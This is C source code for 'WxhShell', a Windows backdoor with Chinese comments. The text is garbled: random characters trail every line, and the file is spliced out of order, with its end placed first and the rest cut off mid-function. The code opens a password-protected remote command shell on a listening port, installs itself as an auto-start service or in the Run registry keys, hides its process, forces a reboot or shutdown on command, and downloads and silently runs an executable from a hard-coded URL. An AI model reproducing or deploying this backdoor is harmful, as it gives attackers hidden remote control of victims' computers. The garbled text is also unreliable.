    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I%($,kd}s  
    if(Boot(SHUTDOWN)) U5OFw+J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h(^c5#.  
    else { Z ;[xaP\S  
    closesocket(wsh); ,L MN@G  
    ExitThread(0); hUX8j9N>  
    } T`,G57-5  
    break;  vY"I  
    } o2;Eti  
  // 获取shell `l6OQdB3W  
  case 's': { 0~P]Fw^w  
    CmdShell(wsh); -0TI7 @  
    closesocket(wsh); HXX9D&c4R  
    ExitThread(0); a^\ F9^j  
    break; g}IOHE  
  } zl|+YjR  
  // 退出 Qn~{TZz  
  case 'x': { \y6Y}Cv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2 6 >9$S  
    CloseIt(wsh); &gr  T@  
    break; p8"C`bCf  
    } cm!|A?-<  
  // 离开 .l|29{J  
  case 'q': { stMxlG"d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tc{l?7P  
    closesocket(wsh); Ov4=!o=  
    WSACleanup(); @$Yk#N;&(  
    exit(1); {NcJL< ;tS  
    break; VbTX;?  
        } ~*J <lln  
  } Dm$SW<!l|  
  } #DARZhU)  
um%s9  
  // 提示信息 '+ mI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 66sgs16k  
} feH&Ug4?G  
  } g-,lY|a  
-[&Z{1A4x4  
  return; gI9nxy  
} 8k)*f+1o  
2 E?]!9T~|  
// shell模块句柄 Y]Z&  
int CmdShell(SOCKET sock)  deq5u>  
{ 6)W8HX~+  
STARTUPINFO si; wkx#WC  
ZeroMemory(&si,sizeof(si)); 0LYf0^P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +t&+f7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z [l+{  
PROCESS_INFORMATION ProcessInfo; c}|} o^  
char cmdline[]="cmd"; .3jijc j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >o%X;U 3  
  return 0; &y7=tEV  
} p!)PbSw#  
2pv by`P4  
// 自身启动模式 S4c-i2Rq  
int StartFromService(void) i3KAJ@  
{ U#- 5",X|  
typedef struct S6\E  I5S  
{ TaaCl#g$?  
  DWORD ExitStatus; 3sIdwY)ZS_  
  DWORD PebBaseAddress; '4D7:  
  DWORD AffinityMask; *3OlWnZ?  
  DWORD BasePriority; Bn%?{z)  
  ULONG UniqueProcessId; *_m ER`  
  ULONG InheritedFromUniqueProcessId; Q[%G`;e#  
}   PROCESS_BASIC_INFORMATION; eu8a<  
st~ l||  
PROCNTQSIP NtQueryInformationProcess; 7]Hf3]e>/  
LNrM`3%2-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |`kk mq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;8f)p9vE  
("{vbs$;  
  HANDLE             hProcess; XD?]+  
  PROCESS_BASIC_INFORMATION pbi; s<Nw)Ynw  
xls US'Eo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nr8#;D  
  if(NULL == hInst ) return 0; ,aq>9\ pi  
V$:%CIn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b|may/xWH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %rf6 >  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); __1Hx?f  
\TnK<83  
  if (!NtQueryInformationProcess) return 0; S6C DK:  
MtgY `p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2P${5WT  
  if(!hProcess) return 0; b"`Q&V.  
keKsLrd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <0m^b#hdG  
7/fJQM  
  CloseHandle(hProcess); T,Q7 YI  
3RI6+Cgmn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T~SkFZ  
if(hProcess==NULL) return 0; %Wm)  
( Rp5g}b  
HMODULE hMod; j9w{=( MV  
char procName[255]; +W$uHQq  
unsigned long cbNeeded; -UAMHd}4  
ME$J?3r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wr(*RI"  
O<mA+yk  
  CloseHandle(hProcess); BT^=p  
V\Y, 4&bI  
if(strstr(procName,"services")) return 1; // 以服务启动 0S }\ML  
4PR&67|AH_  
  return 0; // 注册表启动 V?>&9D"m  
} k8SY=HP  
tu@-+< *  
// 主模块 N6T  
int StartWxhshell(LPSTR lpCmdLine) !}c\u  
{ a*_&[  
  SOCKET wsl; O-pH~E  
BOOL val=TRUE; |5q,%9_  
  int port=0; kp!(e0n  
  struct sockaddr_in door; m]'+Eye ]r  
ep`8LQf  
  if(wscfg.ws_autoins) Install(); _5p]Arg?}&  
E@l@f  
port=atoi(lpCmdLine); n:?a=xY  
E0aFHC[  
if(port<=0) port=wscfg.ws_port; xc05GJ  
%,@e- &>  
  WSADATA data; _{}^]ZB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ae2I,Qt%  
e5lJ)_o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jvj* z6/a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cv&>:k0V  
  door.sin_family = AF_INET; T :^OW5d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :RYYjmG5;  
  door.sin_port = htons(port); /?|;f2tbV2  
vS:=%@c>ta  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R!\._m?\h  
closesocket(wsl); Wcl =YB%  
return 1; Gg:W%&#  
} _g D9oK  
31M'71s  
  if(listen(wsl,2) == INVALID_SOCKET) { ?VTP|Z  
closesocket(wsl); CG J_k?h  
return 1; sebuuL.l0<  
} jxq89x  
  Wxhshell(wsl); &Ot9"Aq:  
  WSACleanup(); ,?%o ~  
YluvWHWi  
return 0; ]D^; Ca  
\[8uE,=|  
} N ;n55N  
D$D;'Kij  
// 以NT服务方式启动 Pp4Q)2X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8Bxb~*  
{ 41rS0QAM  
DWORD   status = 0; &`-e; Xt  
  DWORD   specificError = 0xfffffff; O -p^S  
<K/iX%b?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >Il{{{\>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :g-vy9vb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nn">   
  serviceStatus.dwWin32ExitCode     = 0; `Cy;/95m  
  serviceStatus.dwServiceSpecificExitCode = 0; [s%uE+``S  
  serviceStatus.dwCheckPoint       = 0; g(S4i%\  
  serviceStatus.dwWaitHint       = 0; |uRYejj#j  
G!Y7Rj WD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >{rD3X"d  
  if (hServiceStatusHandle==0) return; r-[YJzf@P  
9):^[Wkx  
status = GetLastError(); }Py Z{yS  
  if (status!=NO_ERROR) [Z1,~(3  
{ ?fpI,WFu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O31.\ZR2  
    serviceStatus.dwCheckPoint       = 0; )o&}i3~Q  
    serviceStatus.dwWaitHint       = 0; >{0,dGm  
    serviceStatus.dwWin32ExitCode     = status; N~(?g7  
    serviceStatus.dwServiceSpecificExitCode = specificError; /de~+I5AB~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  %Rm`YH?  
    return; hsI9{j]f  
  } 5fp&!HnG  
=#%Vs>G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =jU#0FAO  
  serviceStatus.dwCheckPoint       = 0; )M56vyo  
  serviceStatus.dwWaitHint       = 0; )Q|sW+AF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sE^= ]N  
} 3YEw7GIO-  
y99|V39'  
// 处理NT服务事件,比如:启动、停止 Xcg+ SOB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xp\6,Jyh  
{ h<!!r  
switch(fdwControl) !\\1#:*_W  
{ 3Z%jx#  
case SERVICE_CONTROL_STOP: WxtB:7J  
  serviceStatus.dwWin32ExitCode = 0; RTL@WI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q~xs4?n1U  
  serviceStatus.dwCheckPoint   = 0; P4s,N|bs`  
  serviceStatus.dwWaitHint     = 0; 8ROZ]Xh,x  
  { <sjz_::V8R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Zaw>p*H  
  } #!4 HSBf  
  return; I5rAL\y-G  
case SERVICE_CONTROL_PAUSE: 7q#R,\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n3s  
  break; #/hXcF  
case SERVICE_CONTROL_CONTINUE: IBh?vh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )hfI,9I~  
  break; B+ZhQW  
case SERVICE_CONTROL_INTERROGATE: 0qN+W&H  
  break; rp!{QG  
}; |W|RX3D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D}nRH@<`  
} 9t&m\J >8;  
[R/'hH5  
// 标准应用程序主函数 !XF:.|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g'.(te |  
{ -&np/tEu&  
;7mE%1X  
// 获取操作系统版本 OX{2@+f#  
OsIsNt=GetOsVer(); ^4a|gc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h)X"<a++N  
X`k#/~+0  
  // 从命令行安装 r}#,@<  
  if(strpbrk(lpCmdLine,"iI")) Install(); qu/b:P  
8fb<hq<  
  // 下载执行文件 a0&R! E;  
if(wscfg.ws_downexe) { b5^-q c6X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;k,#o!>  
  WinExec(wscfg.ws_filenam,SW_HIDE); IvB)d}p  
} iE"+-z\U  
)Tf,G[z&ge  
if(!OsIsNt) { wD $sKd  
// 如果时win9x,隐藏进程并且设置为注册表启动 z?C& ,mv  
HideProc(); vu_ u\2d  
StartWxhshell(lpCmdLine); }h9f(ZyJn  
} wf,w%n  
else ()(/9t  
  if(StartFromService()) VCvFCyAz  
  // 以服务方式启动 ~J|B  
  StartServiceCtrlDispatcher(DispatchTable); KU87WpjX  
else XchVsA  
  // 普通方式启动 wv&%09U  
  StartWxhshell(lpCmdLine); 'o ZdMl&  
[d6TwKv  
return 0; *orP{p -U  
} @kB^~Wf  
""_%u'7t5I  
Z WhV"]w&  
l9F]Lw  
=========================================== `"eIzLc%o6  
`it  
M tBoX*"  
RJ$x{$r[  
U^9#uK6GM  
3TNj*jo  
" #Dl=K<I  
'/<f'R^  
#include <stdio.h> Hni?r!8r  
#include <string.h> m+pFU?<|  
#include <windows.h> |j!U/n.%w  
#include <winsock2.h> $6*6%T5}  
#include <winsvc.h> x^6b$>1  
#include <urlmon.h> ,h* 'Cs04h  
70T{tB  
#pragma comment (lib, "Ws2_32.lib") Q>l5:2lq  
#pragma comment (lib, "urlmon.lib") G"F:68  
N/r8joi#  
#define MAX_USER   100 // 最大客户端连接数 aQL$?,  
#define BUF_SOCK   200 // sock buffer ^7V{nT@H3  
#define KEY_BUFF   255 // 输入 buffer $5J~4B"%3  
I{uwT5QT-  
#define REBOOT     0   // 重启 H.!\j&4j  
#define SHUTDOWN   1   // 关机 c7t .  
&>3 AL,  
#define DEF_PORT   5000 // 监听端口 Og9:MFI  
Tu}?Q. pKo  
#define REG_LEN     16   // 注册表键长度 &K-0ld(;  
#define SVC_LEN     80   // NT服务名长度 G[a&r  
\@GKVssw  
// 从dll定义API W=!di3IA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FYX" q-Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c"`CvQO64  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _|s'0F/t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9wpV} .(  
~zL DLr=  
// wxhshell配置信息 7uxUqM  
struct WSCFG { "D7wtpJ  
  int ws_port;         // 监听端口 #;F*rJ[XY  
  char ws_passstr[REG_LEN]; // 口令 ;&ypvKG  
  int ws_autoins;       // 安装标记, 1=yes 0=no uN9J?j*ir  
  char ws_regname[REG_LEN]; // 注册表键名 .5GGZfJ]  
  char ws_svcname[REG_LEN]; // 服务名 Ae_:Kc6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n>?eTlO3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4-~S"T8<u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G"nGaFT~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {6gY6X-R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e&ci\x%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z:Y_{YAD  
}MW+K&sIh  
}; xw~3x*{  
GfL: 0  
// default Wxhshell configuration .[C@p`DZ  
struct WSCFG wscfg={DEF_PORT, ,]_<8@R  
    "xuhuanlingzhe", p\ _&  
    1, T!Z).PA#  
    "Wxhshell", ,HtX D~N  
    "Wxhshell", 3D2i32Y@!  
            "WxhShell Service", }C<$q  
    "Wrsky Windows CmdShell Service", W?R@ eq.9  
    "Please Input Your Password: ", 7~m[:Eg6[s  
  1, v)%0`%nSR  
  "http://www.wrsky.com/wxhshell.exe", tDn:B$*}W,  
  "Wxhshell.exe" 1Y(NxC0P=g  
    }; 4)NbQ[  
,<!v!~Iy  
// 消息定义模块 Vl%UT@D|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (u-eL#@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]lZ g }7h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l3HfaCP6:  
char *msg_ws_ext="\n\rExit."; '0 J*9  
char *msg_ws_end="\n\rQuit."; "-:-!1;Ji  
char *msg_ws_boot="\n\rReboot..."; vhKHiw9L  
char *msg_ws_poff="\n\rShutdown..."; cE+Y#jB  
char *msg_ws_down="\n\rSave to "; vMeB2r<  
ZFNg+H/k  
char *msg_ws_err="\n\rErr!"; u{%dm5  
char *msg_ws_ok="\n\rOK!"; BY`vs+]XY  
Fb\ E39  
char ExeFile[MAX_PATH]; :'X:cL  
int nUser = 0; (e _l1O?  
HANDLE handles[MAX_USER]; ^!*nhs%  
int OsIsNt; 8\Kpc;zb  
.0?A0D?sP  
SERVICE_STATUS       serviceStatus;  {B7${AE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K7=> o*p  
,U?^u%  
// 函数声明 A#8J6xcSrL  
int Install(void); bO+]1nZ.  
int Uninstall(void); <KBS ;t="1  
int DownloadFile(char *sURL, SOCKET wsh); a9g~(#?a  
int Boot(int flag); (qDPGd*1  
void HideProc(void); p&k%d, *  
int GetOsVer(void); kV@?Oj.&I,  
int Wxhshell(SOCKET wsl); rBZ0Fx$/[  
void TalkWithClient(void *cs); W}'l8z]   
int CmdShell(SOCKET sock); Mew,g:m:  
int StartFromService(void); U%rq(`;  
int StartWxhshell(LPSTR lpCmdLine); H_FT%`iM  
ob]j1gYb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JiFB<Q\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &.[I}KH|B  
<7_s'UAL!  
// 数据结构和表定义 ?ZP@H _w6}  
SERVICE_TABLE_ENTRY DispatchTable[] = tui5?\  
{ =hi{J M  
{wscfg.ws_svcname, NTServiceMain}, qijQRxS  
{NULL, NULL} ,Rdw]O  
}; !24PJ\~I  
/Csk"IfuO  
// 自我安装 S9%ZeM +  
int Install(void) @K1'Q!S *  
{ /B)`pF.n  
  char svExeFile[MAX_PATH]; YT}ZLx  
  HKEY key; ToM1#]4  
  strcpy(svExeFile,ExeFile); g9@H4y6fe=  
BKKW3PT  
// 如果是win9x系统,修改注册表设为自启动 {JQCfs  
if(!OsIsNt) { jr/IU=u*v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H @5dj}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vOo-jUKs  
  RegCloseKey(key); NK6 ~qWsu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q%x-BZb~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `PZcL2~E  
  RegCloseKey(key); 6k`O  
  return 0; [C{oj*"c]  
    } 3L:SJskYR  
  } ng:B;; m  
} yb!/DaCd  
else { sq{=TB{  
WOi+y   
// 如果是NT以上系统,安装为系统服务 /Xl(>^|&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pye/o  
if (schSCManager!=0) :QIf0*.O  
{ Nr?CZFN#  
  SC_HANDLE schService = CreateService +<bvh<]Od  
  ( ^Q9K]Vo  
  schSCManager, KzQuLD(e  
  wscfg.ws_svcname, @]etW>F_  
  wscfg.ws_svcdisp, kQD~v+u{`  
  SERVICE_ALL_ACCESS, TeKU/&fkc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p %hvDC  
  SERVICE_AUTO_START, 9Y+7o%6e  
  SERVICE_ERROR_NORMAL, '0v]?mM  
  svExeFile, iLQ;`/j  
  NULL, BvP++,a&Sa  
  NULL, -?w3j9kk>  
  NULL, |f1RhB  
  NULL, i?861Hu  
  NULL Ffig0K+ `  
  ); }kSP p  
  if (schService!=0) ndu$N$7+  
  { b8**M'k  
  CloseServiceHandle(schService); %E[ $np>  
  CloseServiceHandle(schSCManager); <[vsGUbc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ce:wF#Qs  
  strcat(svExeFile,wscfg.ws_svcname); >Se-5QtLcf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kx02 2rgDU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v%7Gh -P  
  RegCloseKey(key); W@RD bsc  
  return 0; Z-3("%_$/  
    } +V;d^&S  
  } }=A+W2D  
  CloseServiceHandle(schSCManager); eOahr:Db  
} rJ(AO'=  
} Vi#[k n'  
wb ^>/  
return 1; 6Ev+!!znu  
} 5xQ5)B4k  
WO$8j2!~#  
// 自我卸载 F`>qg2wO  
int Uninstall(void) x"A\ Z-xxz  
{ G "ixw  
  HKEY key; #'. '|z  
ZB]234`0  
if(!OsIsNt) { NR"C@3kD]o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <?%49  
  RegDeleteValue(key,wscfg.ws_regname); :XOjS[wBm  
  RegCloseKey(key); %4})_h?j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KQ0f2?  
  RegDeleteValue(key,wscfg.ws_regname); udPLWrPF\  
  RegCloseKey(key); pm2]  
  return 0; f8-~&N/_R  
  } ,6ae='=d  
} Fb ~h{  
} }\1V%c  
else { Nz:p(X!  
P!gY&>EU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |@VhR(^O$  
if (schSCManager!=0) Y.kc,~vYL  
{ /#j)GlNp:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `5n^DP*X  
  if (schService!=0) SeuDJxqopD  
  { %Vfr#j$=  
  if(DeleteService(schService)!=0) { 58R.`5B  
  CloseServiceHandle(schService); m~4ik1 wq  
  CloseServiceHandle(schSCManager); 8( Q  
  return 0; 5 BeU/  
  } u Yc}eMb  
  CloseServiceHandle(schService); O&sUPv  
  } ^!$=(jh.  
  CloseServiceHandle(schSCManager); n`! 6EaD  
} 8 mt#S  
} &3SmTg %  
H9Vn(A8&`  
return 1; `JyI`@,!  
} ^CD? SP"i  
js!C`]1  
// 从指定url下载文件 ?v`24p3PC  
int DownloadFile(char *sURL, SOCKET wsh) X9?0`6Li  
{ HY;kV6g{P  
  HRESULT hr; /J9Or{#r  
char seps[]= "/"; 0IZF%`  
char *token; X{:3UTBR  
char *file; ,; Uf>8~  
char myURL[MAX_PATH];  Hs6Kki1  
char myFILE[MAX_PATH]; A@-U#UvN  
dj}|EW4  
strcpy(myURL,sURL); UzW]kY[A<  
  token=strtok(myURL,seps); =CO'LyG  
  while(token!=NULL) s[VYd:}se  
  { c4zGQoeH:  
    file=token; olKM0K  
  token=strtok(NULL,seps); )u0 /s'  
  } 3J8M0W   
/. H(&  
GetCurrentDirectory(MAX_PATH,myFILE); OzR<jCOS  
strcat(myFILE, "\\"); 2`A[<S  
strcat(myFILE, file); RL H!f1cta  
  send(wsh,myFILE,strlen(myFILE),0); m -0EcA/  
send(wsh,"...",3,0); #99=wn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rC_saHo>#R  
  if(hr==S_OK) wO6>jW 7  
return 0; \7IT[<Se  
else (iIzoEpb8W  
return 1; `i+2YCk  
)`6OSB  
} [.6bxK  
#o,FVYYj  
// 系统电源模块 cucT |y  
int Boot(int flag) PDLps[a  
{ jv6>7@<G  
  HANDLE hToken; 1=e(g#Ajn\  
  TOKEN_PRIVILEGES tkp; "'/+}xM"5  
;P$ _:-C  
  if(OsIsNt) { qn'TIE.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Sr_hD5!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F{_,IQ]U  
    tkp.PrivilegeCount = 1; 0g; o6Fg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I!Mkss xc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4N= gl(  
if(flag==REBOOT) { ^/#8 "  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h"'}Z^  
  return 0; )1$H 7|  
} JIqg[Mao  
else { K3h"oVn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L\!Oj5  
  return 0; `u_k?)lK  
} O}j@+p%M  
  } 87m`K Str7  
  else { f1?%p)C  
if(flag==REBOOT) { wA6E7vi'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -B(p8YH  
  return 0; 1QnaZhu'  
} w,_LC)9  
else { O[z6W.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }:QoYNq  
  return 0; N vTp1kI]  
} G:` So  
} NG23  
W|(<z'S  
return 1; D&pX0  
} *SlWA)9 Y  
D-O{/  
// win9x进程隐藏模块 (cV1Pmn  
void HideProc(void) /!y;h-  
{ P# U|  
lHHx D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); px(~ZZB"  
  if ( hKernel != NULL ) Lr(JnS  
  { ="P FCxi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XqwP<5Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .F[5{XV  
    FreeLibrary(hKernel); Wg<o%6`  
  } <I0om(P  
E*kZGHA  
return; DZA '0-  
} 'pO-h,{TS  
[fELf(;(  
// 获取操作系统版本 Qz_4Ms<o  
int GetOsVer(void) s OLjT34  
{ UIU6rilB  
  OSVERSIONINFO winfo; 8@|{n`n]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \< a^5'  
  GetVersionEx(&winfo); T)Q_dF.N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6Q{OM:L/;.  
  return 1; mS49l  
  else $BG]is,&5  
  return 0; ?FEh9l)d\  
} WM4,\$  
|KO[[4b ?+  
// 客户端句柄模块 oa[O~z{~  
int Wxhshell(SOCKET wsl) K@:Ab'(P^|  
{ " BLJh)i  
  SOCKET wsh; !f}D*8\f  
  struct sockaddr_in client; KTAQ6k  
  DWORD myID; 2 zG;91^  
fu-,<m{  
  while(nUser<MAX_USER) K4I/a#S'@6  
{ 2L51 H(  
  int nSize=sizeof(client); I1s$\NZ~]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lhf5[Rp  
  if(wsh==INVALID_SOCKET) return 1; #\O'*mz  
QIJ/'72  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i [Wxu M  
if(handles[nUser]==0) {XD':2E  
  closesocket(wsh); D 5:'2i  
else Fq%NY8KNE  
  nUser++; +8"P*z,  
  } bQPO'S4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (m=1yj9  
 -rT#Wi  
  return 0; 2^nws  
} ][YuJUK8  
{M= *>P]E  
// 关闭 socket mX?t|:[b  
void CloseIt(SOCKET wsh) XN{zl*`  
{ a:4!z;2 |  
closesocket(wsh); i CB:p  
nUser--; !1UZ<hq  
ExitThread(0); @RL'pKab9  
} u:B=lZ[  
&5[+p{2  
// 客户端请求句柄 E]S:F3  
void TalkWithClient(void *cs) K$r)^K=s  
{ /x_AWnU  
@2hOy@V  
  SOCKET wsh=(SOCKET)cs; }9!}T~NMs  
  char pwd[SVC_LEN]; `)MKCw$e  
  char cmd[KEY_BUFF]; q!~DCv df  
char chr[1]; [$:L| V!{  
int i,j; #q-fRZ:P  
TefPxvd  
  while (nUser < MAX_USER) { )HvB ceN  
h-SKw=n  
if(wscfg.ws_passstr) { rhly.f7N=A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u g;~dhe~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {kb7u5-  
  //ZeroMemory(pwd,KEY_BUFF); (.L?sDQ</z  
      i=0; >p" U|  
  while(i<SVC_LEN) { oq|`;k   
'/AX 'U8Y  
  // 设置超时 )_?h;wh 84  
  fd_set FdRead; .M ID)PY-  
  struct timeval TimeOut; 7#7|+%W0  
  FD_ZERO(&FdRead); rp2g./2  
  FD_SET(wsh,&FdRead); !\O!Du  
  TimeOut.tv_sec=8; FJxb!- 0&  
  TimeOut.tv_usec=0; mAJ'>^`^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kb1@+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r:4]:NKCi  
YD{N)v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?{5}3a bB`  
  pwd=chr[0]; X|QokAR{$>  
  if(chr[0]==0xd || chr[0]==0xa) { .])X.7@x  
  pwd=0; :VLYF$|  
  break; c%(Nd i  
  } R|` `A5zQ  
  i++; <s$T7Zk  
    } 0;`+e22  
Sq:J'%/z  
  // 如果是非法用户,关闭 socket :2')`xT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zE?dQD^OD  
} 2v#gCou  
q:iu hI$~G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UnEgsf N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }7P[%(T5  
p{ ``a=  
while(1) { GCv1x->  
_>?.MUPB  
  ZeroMemory(cmd,KEY_BUFF); Pf?15POg&B  
4?[1JN>  
      // 自动支持客户端 telnet标准   joZd  
  j=0; 8pp;" "b  
  while(j<KEY_BUFF) { o)DO[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V7O7"Q^q  
  cmd[j]=chr[0]; :Gx5vo  
  if(chr[0]==0xa || chr[0]==0xd) { n[# **s  
  cmd[j]=0; 7VWy1  
  break; |YfJ#Agm+  
  } ?[Ma" l>  
  j++; 6:`[Fi  
    } &2O~BIRE  
>m{>0k(^`  
  // 下载文件 [nrD4  
  if(strstr(cmd,"http://")) { QXl~a%lB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U\-.u3/  
  if(DownloadFile(cmd,wsh)) z^WY5~?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >&F:/   
  else ?C   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?I"?J/zm  
  } #uCfXJ-  
  else { % I2JS  
gFfKK`)}D'  
    switch(cmd[0]) { \ Z5160  
  peOoZdJd  
  // 帮助 5P 5Tgk  
